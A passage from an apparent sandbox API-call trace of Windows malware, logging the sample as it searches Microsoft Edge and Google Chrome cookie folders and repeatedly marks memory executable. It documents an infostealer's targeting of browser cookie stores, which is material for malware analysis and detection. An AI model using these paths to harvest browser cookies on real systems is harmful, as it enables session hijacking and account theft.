hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.484] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0227e0, cbMultiByte=20, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="MicrosoftEdge_AC_002s\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\症ṽ戟瞾戤瞾䷄榴ܘ症\x10") returned 20 [0163.484] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0226bc, cbMultiByte=93, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\症ṽ戟瞾戤瞾䷄榴ܘ症\x10") returned 93 [0163.486] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\") returned 0x6f [0163.486] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9c0, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiesges\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\症ṽ戟瞾戤瞾䷄榴ܘ症\x10") returned 16 [0163.486] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\\\*.txt", lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.486] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies")) returned 0xffffffff [0163.486] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0163.486] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies")) returned 0xffffffff [0163.487] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0163.487] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.487] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.487] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\\\*.cookie", lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.487] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies")) returned 0xffffffff [0163.487] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0163.487] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies")) returned 0xffffffff [0163.487] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0163.487] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.488] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.488] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022804, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="MicrosoftEdge_ACesges\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\症ṽ戟瞾戤瞾䷄榴ܘ症\x10") returned 16 [0163.488] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf01b8, cbMultiByte=87, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\okies\\症ṽ戟瞾戤瞾䷄榴ܘ症\x10") returned 87 [0163.488] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\") returned 0x69 [0163.488] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9c0, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiesges\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\okies\\症ṽ戟瞾戤瞾䷄榴ܘ症\x10") returned 16 [0163.488] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\\\*.txt", lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.488] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies")) returned 0xffffffff [0163.489] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0163.489] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies")) returned 0xffffffff [0163.489] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0163.489] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.489] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.489] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\\\*.cookie", lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.489] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies")) returned 0xffffffff [0163.489] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0163.489] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies")) returned 0xffffffff [0163.490] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0163.490] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.490] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.490] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf28a0, cbMultiByte=12, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="GoogleChrome\\Cookiesges\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\okies\\症ṽ戟瞾戤瞾䷄榴ܘ症\x10") returned 12 [0163.490] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0814, cbMultiByte=39, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Google\\Chrome\\User Data\\rosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\okies\\症ṽ戟瞾戤瞾䷄榴ܘ症\x10") returned 39 [0163.490] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Google\\Chrome\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 0x39 [0163.490] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiese\\Chrome\\User Data\\rosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\okies\\症ṽ戟瞾戤瞾䷄榴ܘ症\x10") returned 16 [0163.490] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40e000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40e000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.491] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xadcfd00, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xde226b0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xde226b0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1e258c88 [0163.492] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\.\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\cookies")) returned 0xffffffff [0163.492] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xadcfd00, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xde226b0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xde226b0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.492] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\..\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\cookies")) returned 0xffffffff [0163.492] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0163.492] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\CertificateTransparency\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\certificatetransparency\\cookies")) returned 0xffffffff [0163.492] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xadf5e60, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xae1bfc0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xae1bfc0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0163.493] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Crashpad\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\crashpad\\cookies")) returned 0xffffffff [0163.493] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xadf5e60, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xadf5e60, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xadf5e60, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashpadMetrics-active.pma", cAlternateFileName="CRASHP~1.PMA")) returned 1 [0163.493] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\CrashpadMetrics-active.pma\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\crashpadmetrics-active.pma\\cookies")) returned 0xffffffff [0163.493] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb031300, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xe5b8cd0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xe5b8cd0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0163.493] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\cookies")) returned 0x2020 [0163.499] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.499] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.500] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.500] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.501] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40e000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40e000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.501] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40f000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40f000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.502] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.502] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.502] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.503] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.503] GetTickCount () returned 0x115c0e0 [0163.503] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.503] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df445, cbMultiByte=8, lpWideCharStr=0x1e7de41c, cchWideChar=2047 | out: lpWideCharStr="18202848") returned 8 [0163.503] SysReAllocStringLen (in: pbstr=0x1e7df6ac*=0x0, psz="18202848", len=0x8 | out: pbstr=0x1e7df6ac*="18202848") returned 1 [0163.503] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df508 | out: lpPerformanceCount=0x1e7df508*=24173667555) returned 1 [0163.504] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df409, cbMultiByte=4, lpWideCharStr=0x1e7de3e0, cchWideChar=2047 | out: lpWideCharStr="2867ఌḪṽ\x10") returned 4 [0163.504] SysReAllocStringLen (in: pbstr=0x1e7df538*=0x0, psz="2867", len=0x4 | out: pbstr=0x1e7df538*="2867") returned 1 [0163.504] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df405, cbMultiByte=4, lpWideCharStr=0x1e7de3dc, cchWideChar=2047 | out: lpWideCharStr="542667ఌḪṽ\x10") returned 4 [0163.504] SysReAllocStringLen (in: pbstr=0x1e7df534*=0x0, psz="5426", len=0x4 | out: pbstr=0x1e7df534*="5426") returned 1 [0163.504] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df401, cbMultiByte=4, 